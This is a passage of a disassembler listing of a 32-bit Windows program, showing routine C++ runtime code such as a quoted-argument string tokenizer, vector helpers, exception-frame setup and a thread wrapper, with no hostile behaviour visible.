arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F70
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

